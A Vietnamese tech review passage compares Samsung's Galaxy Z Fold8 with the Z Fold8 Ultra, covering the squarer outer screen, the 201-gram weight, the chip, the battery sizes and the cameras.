Thiết kế gập ngang với tỷ lệ màn hình ngoài vuông hơn

 
Galaxy Z Fold8 (bên phải) và Z Fold8 Ultra. Ảnh: Trường Giang

Galaxy Z Fold8 (bên phải) và Z Fold8 Ultra. Ảnh: Trường Giang

Z Fold8 đem đến thiết kế hoàn toàn mới và Samsung cũng là hãng đầu tiên đưa triết lý sản phẩm này ra toàn cầu, do Huawei chỉ bán Pura X Max ở Trung Quốc. Máy tạo sự hào hứng cho giới công nghệ ngay sau khi ra mắt nhờ phá vỡ tỷ lệ khung hình dài hẹp đặc trưng của dòng Fold trước đây.

Máy gọn hơn, nhẹ nhất trong dòng Fold với 201 gram. Màn hình ngoài gần vuông cho cảm giác cầm thoải mái dù hơi cấn tay nhẹ do phần vuông ở bản lề. Khi mở, model này tạo trải nghiệm hoàn toàn khác biệt, phù hợp để đọc sách và tối ưu tốt nhất cho xem video 16:9. Tỷ lệ màn hình ngoài khi gập 10:16 giúp máy gọn gàng, dễ bỏ túi áo, quần khác biệt hẳn so với dòng Fold truyền thống.

 
Z Fold8 cho cảm giác cầm thú vị hơn so với Fold truyền thống. Ảnh: Tuấn Hưng

Z Fold8 cho cảm giác cầm thú vị hơn so với Fold truyền thống. Ảnh: Tuấn Hưng

Z Fold8 có sức mạnh phần cứng gần tương tự bản Ultra với chip Snapdragon 8 Elite Gen 5 nhưng dung lượng pin thấp hơn (4.800 so với 5.000 mAh) cũng như loại bỏ ống tele, chỉ còn cụm camera kép 50 megapixel ở mặt lưng. Màn hình nhỏ hơn cũng khiến trải nghiệm đa nhiệm, chia màn hình không tối ưu bằng Galaxy Z Fold8 Ultra.

Tin liên quan